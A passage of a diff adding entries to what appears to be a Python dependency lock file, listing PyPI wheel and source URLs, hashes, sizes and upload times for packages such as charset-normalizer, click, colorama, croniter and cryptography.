+    { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" },
+    { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" },
+    { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" },
+    { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" },
+    { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" },
+    { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" },
+    { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" },
+    { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" },
+    { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" },
+    { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" },
+    { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" },
+    { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" },
+    { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" },
+    { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" },
+    { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" },
+    { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" },
+    { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" },
+]
+
+[[package]]
+name = "click"
+version = "8.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "colorama", marker = "sys_platform == 'win32'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/76/d4/81420972a676e8ffea40450d8c8c92943e7218a78fe9b64359836cc9876b/click-8.4.2.tar.gz", hash = "sha256:9a6cea6e60b17ebe0a44c5cc636d94f09bd66142c1cd7d8b4cd731c4917a15f6", size = 338000, upload-time = "2026-06-24T17:45:15.148Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/fb/e2/79c688af8b210d232694e31e59da9f6ec747bae31c3f5946e4e9b98860d5/click-8.4.2-py3-none-any.whl", hash = "sha256:e6f9f66136c816745b9d65817da91d61d957fb16e02e4dcd0552553c5a197b76", size = 119243, upload-time = "2026-06-24T17:45:13.73Z" },
+]
+
+[[package]]
+name = "cloudpickle"
+version = "3.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/27/fb/576f067976d320f5f0114a8d9fa1215425441bb35627b1993e5afd8111e5/cloudpickle-3.1.2.tar.gz", hash = "sha256:7fda9eb655c9c230dab534f1983763de5835249750e85fbcef43aaa30a9a2414", size = 22330, upload-time = "2025-11-03T09:25:26.604Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/88/39/799be3f2f0f38cc727ee3b4f1445fe6d5e4133064ec2e4115069418a5bb6/cloudpickle-3.1.2-py3-none-any.whl", hash = "sha256:9acb47f6afd73f60dc1df93bb801b472f05ff42fa6c84167d25cb206be1fbf4a", size = 22228, upload-time = "2025-11-03T09:25:25.534Z" },
+]
+
+[[package]]
+name = "codespell"
+version = "2.4.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/2d/9d/1d0903dff693160f893ca6abcabad545088e7a2ee0a6deae7c24e958be69/codespell-2.4.2.tar.gz", hash = "sha256:3c33be9ae34543807f088aeb4832dfad8cb2dae38da61cac0a7045dd376cfdf3", size = 352058, upload-time = "2026-03-05T18:10:42.936Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/42/a1/52fa05533e95fe45bcc09bcf8a503874b1c08f221a4e35608017e0938f55/codespell-2.4.2-py3-none-any.whl", hash = "sha256:97e0c1060cf46bd1d5db89a936c98db8c2b804e1fdd4b5c645e82a1ec6b1f886", size = 353715, upload-time = "2026-03-05T18:10:41.398Z" },
+]
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
+]
+
+[[package]]
+name = "croniter"
+version = "6.2.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "python-dateutil", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/df/de/5832661ed55107b8a09af3f0a2e71e0957226a59eb1dcf0a445cce6daf20/croniter-6.2.2.tar.gz", hash = "sha256:ba60832a5ec8e12e51b8691c3309a113d1cf6526bdf1a48150ce8ec7a532d0ab", size = 113762, upload-time = "2026-03-15T08:43:48.112Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d0/39/783980e78cb92c2d7bdb1fc7dbc86e94ccc6d58224d76a7f1f51b6c51e30/croniter-6.2.2-py3-none-any.whl", hash = "sha256:a5d17b1060974d36251ea4faf388233eca8acf0d09cbd92d35f4c4ac8f279960", size = 45422, upload-time = "2026-03-15T08:43:46.626Z" },
+]
+
+[[package]]
+name = "cryptography"
+version = "48.0.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
+    { name = "typing-extensions", marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/12/45/870e7f4bef50e5f53b9f51d4428aee5290eedf58ba443f16b1ebb7ab8e66/cryptography-48.0.1.tar.gz", hash = "sha256:266f4ee051abb2f725b74ef8072b521ce1feacf685a3364fa6a6b45548db791a", size = 832989, upload-time = "2026-06-09T22:32:31.8Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1b/bc/ee4137cbbe105652c0ee4252792b78fc8e7afa4b8e61d9d5dc05a7f45731/cryptography-48.0.1-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:3e4a1a3232eef2e6c732827d5722db29a0cc8b27af2a4d865b094cf954be9ca1", size = 8008324, upload-time = "2026-06-09T22:31:00.702Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/85/6379d42181bfc713094f081360fc5784d6c816b599d45e7f082502d173ce/cryptography-48.0.1-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:32143b24adb918f078134e1e230f1eb8cc04886b92c28b5f0041aaf3e5699225", size = 4696243, upload-time = "2026-06-09T22:32:33.446Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/87/c85d147b53323c7eb4d850920c8901377323c2a0ff8d79c262d4fee89aa2/cryptography-48.0.1-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f0d27a5696721ef7a672b8c810f6aded391058e0b9486e63e6d93baf765da691", size = 4713235, upload-time = "2026-06-09T22:31:40.141Z" },
+    { url = "https://files.pythonhosted.org/packages/79/58/67cbf8cf1ee7c54b439ca07bbecf8362c07afc11a3724fea70f745784add/cryptography-48.0.1-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:eb86ce1af36fe65041b6db9a8bb064ee621a7e5fded0f80d475ec243477cd242", size = 4702323, upload-time = "2026-06-09T22:31:42.191Z" },
+    { url = "https://files.pythonhosted.org/packages/89/c6/24266ac10c47f6cd2a865f4446062b466da1d1f10b27189eac00e61bf0c9/cryptography-48.0.1-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:b024e784ad6c077ee0147b35ea9cbfc1e34e1fd4c1dcca214c2794d73a12df08", size = 5300085, upload-time = "2026-06-09T22:31:58.703Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/bb/cc4b78784f97efc8c5874c2a9743708d172be6663024b34a0467885ae0c8/cryptography-48.0.1-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3752f2dbc8f07a30aad2932c986cea495b03bb554887828225da104f732852b6", size = 4746137, upload-time = "2026-06-09T22:31:31.01Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/52/0c44de3f5267f8fbe8e835138017522a333436166e406f0db9b9e6e3033f/cryptography-48.0.1-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:bd81490cd5801d755cf97bb68ac191f14b708470b1c7cf4580f669b9c9264cd8", size = 4333867, upload-time = "2026-06-09T22:32:28.096Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/2e/772d7adbfa931537bc401640b7cac9976bff689bda187833e5d63b428e49/cryptography-48.0.1-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:66fd0771e7b9c6dcd44cf1120690d2338d16d72795cf40cae2786a39eba65429", size = 4701805, upload-time = "2026-06-09T22:31:38.284Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/a3/b06844f303873493c963caf581c04df31c7035e0c1b0f02c4814d319ec80/cryptography-48.0.1-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:3fd2ca57062b241c856670b073487d2e86c4637937ca5601e48f97bf8e11fc8f", size = 5258461, upload-time = "2026-06-09T22:31:04.187Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/13/8b765e2e12b07c74941caadb9d1c8fdc006c4dfbf2b8f2d610519758954d/cryptography-48.0.1-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:0ee6ea481db1ab889cba043ec1eda17bb9c1ea79db6722f779c3667f9f70322f", size = 4745488, upload-time = "2026-06-09T22:32:30.07Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/aa/48972bce55049b32a94f4907eda4d75fa385aad8a39506cc2fc72196ecf0/cryptography-48.0.1-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f2ceef93cb096aa3c4cc4b5c94ca6131f9196d28c64d6111533402a9b2054d41", size = 4830256, upload-time = "2026-06-09T22:31:43.868Z" },
+    { url = "https://files.pythonhosted.org/packages/47/a2/e5079a032fb85cf6005046ca92bbd78b0c82dad2b5751ab8c311659da06f/cryptography-48.0.1-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9bd3f92d76217892b15df84ca256c2c113d386fdda7a7d8691aeeced976507c6", size = 4979117, upload-time = "2026-06-09T22:31:05.845Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/a0/8f50cae9c74e718ed769d63ed5c74bd0ea830c9550a74629cebd1b9c7bc7/cryptography-48.0.1-cp311-abi3-win32.whl", hash = "sha256:b9a32b876490d66c8bcc9963ef220199569748434ab01a9d6aaeabf88e7f5158", size = 3304154, upload-time = "2026-06-09T22:32:16.845Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/69/0572c77dbace6fef72f33755bd52ea399c71367250d366237f8691826b9e/cryptography-48.0.1-cp311-abi3-win_amd64.whl", hash = "sha256:39489bfca54c7a1f6b297efcd8bc608ab92d16c4ca631b0cad4da46724588b24", size = 3817138, upload-time = "2026-06-09T22:32:00.388Z" },
+    { url = "https://files.pythonhosted.org/packages/42/06/3e768b4c3bc78201583fa35a0e18f640dd782ff41afba88f8545481a8874/cryptography-48.0.1-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:f817adc181390bd54f2f700107a7419040fb7c1bdf2fc26f36551a06a68c3345", size = 7989830, upload-time = "2026-06-09T22:31:07.8Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/13/6476736484b94041110c8340a3eb63962fea4975baea8cb4a512adb44d4d/cryptography-48.0.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d5d30989c6917b478b5817902e85fddaea2261efa8648383d965381ccb9e1ac4", size = 4689201, upload-time = "2026-06-09T22:31:09.745Z" },
+    { url = "https://files.pythonhosted.org/packages/79/62/65a87f34d2a431546e2509b85d55e8c90df86d668f6731da64d538512ac2/cryptography-48.0.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:df637c05205ea7c1d7fbcbe54bbfea648a52951155f997af13d895d0ecc96991", size = 4702822, upload-time = "2026-06-09T22:32:24.409Z" },
+    { url = "https://files.pythonhosted.org/packages/7f/59/810b5204b0a9b10f4b6bc06bd551a8b609803cd931806bc3b71884b225e5/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:869c3b8a53bfe27147832df48b32adadf558249d50e76cb3769d40e986b13265", size = 4694875, upload-time = "2026-06-09T22:32:08.737Z" },
+    { url = "https://files.pythonhosted.org/packages/24/dc/d8ca05ffea724eec6d232ea6f18e74c269eb6bdfdcc9bfba689790d1325f/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:e361afba8918070d376df76f408a4f67fec0ee9cff81a99e48fe9a233ef59e17", size = 5290385, upload-time = "2026-06-09T22:31:15.212Z" },
+    { url = "https://files.pythonhosted.org/packages/03/8c/3be6cb4da181f5bb6c19cf560c2359d60644a6b5fc5b57854e528f47b296/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:d069066deead00ac7f090be101be875a06855908f7ec004c27b8fefb4acfb411", size = 4737082, upload-time = "2026-06-09T22:32:22.66Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/f6/d5f60a5a1434dbfd949e227fd0065d194c7e6b6ac526b17f5c06152b8231/cryptography-48.0.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:09f73a725d582cef64b91281a322cd798d14a33b2b6f2b7ad9531dc336d84c02", size = 4325328, upload-time = "2026-06-09T22:32:10.777Z" },
+    { url = "https://files.pythonhosted.org/packages/17/b7/ba75dd947a14b6ad907b01ae8f6b5b348cdd1b48142f0063dee9e20c1d9d/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:15254441469dd6bf027039453288e2072124f8b6603563f5d759e1c9b69273fa", size = 4694530, upload-time = "2026-06-09T22:31:53.105Z" },
+    { url = "https://files.pythonhosted.org/packages/62/29/50d6b9e8aff12d8b67afaeb3569335e32dc83a5723e3bbded24fdac9f809/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:8ace4507d1e6533c125f4fac754f8bb8b6a74c08e92179dabd7e16571a3efbf3", size = 5245046, upload-time = "2026-06-09T22:31:25.774Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/04/618f4115cfc0add0838c82507aa18a346089428da8653ad38b3ff36f5cb3/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:b4e391975f038e66432328639620a4aff2d307513b004f1ca06d6225bced815c", size = 4736660, upload-time = "2026-06-09T22:32:12.676Z" },
+    { url = "https://files.pythonhosted.org/packages/24/9c/06e062462a0de28a3b3911322eded4c16deb9f441b1b7575d3dc59488ab5/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42fcd8e26fe555d9b3577a135f5091fefa0aa4e99129c23fb56787a1bd4ada72", size = 4822229, upload-time = "2026-06-09T22:31:17.062Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/be/0561971eaaee4b8a0e7d5113c536921063ab91aaf23278ac374eaf881e11/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c1400da5e32a43253392277eac7490a60e497d810a63dd5608d71bbd7af507c9", size = 4966364, upload-time = "2026-06-09T22:31:32.842Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/27/728c77876f12b000820b69ae490f3c4083775e79e07827e9e60be07ad209/cryptography-48.0.1-cp314-cp314t-win32.whl", hash = "sha256:0df56b056bc17c1b7d6821dfa65216e62bd232d8ab05eb3db44e71d235651471", size = 3278498, upload-time = "2026-06-09T22:31:29.154Z" },
+    { url = "https://files.pythonhosted.org/packages/06/e3/79a612c6d7b1e6ee0edd43633d53035bec2cfb78c82b76f7864f39e36f34/cryptography-48.0.1-cp314-cp314t-win_amd64.whl", hash = "sha256:9de21387aa95e2a895823d0745b430bed4f33503ba9ab5e0b5311f33e37d66d2", size = 3798790, upload-time = "2026-06-09T22:31:56.697Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/6c/00fa2a95997164c8b2072ce327c23d4ab20809ccc323ea5fab91e53a4bba/cryptography-48.0.1-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:4fdc69f8e4316bcf0c8c8ec1f26f285d12e8142d88d96c876a59a03be3f6ae67", size = 7987408, upload-time = "2026-06-09T22:32:20.777Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/d9/45f309a7e4e5f3f8f121d6d3be9e94024a7726ec598d6e08ae04edb2f04d/cryptography-48.0.1-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48fe40804d4caa2288f24e70ca8c64c42dd826da0ad7e4f1b41b2128d679e6c8", size = 4690196, upload-time = "2026-06-09T22:31:54.74Z" },
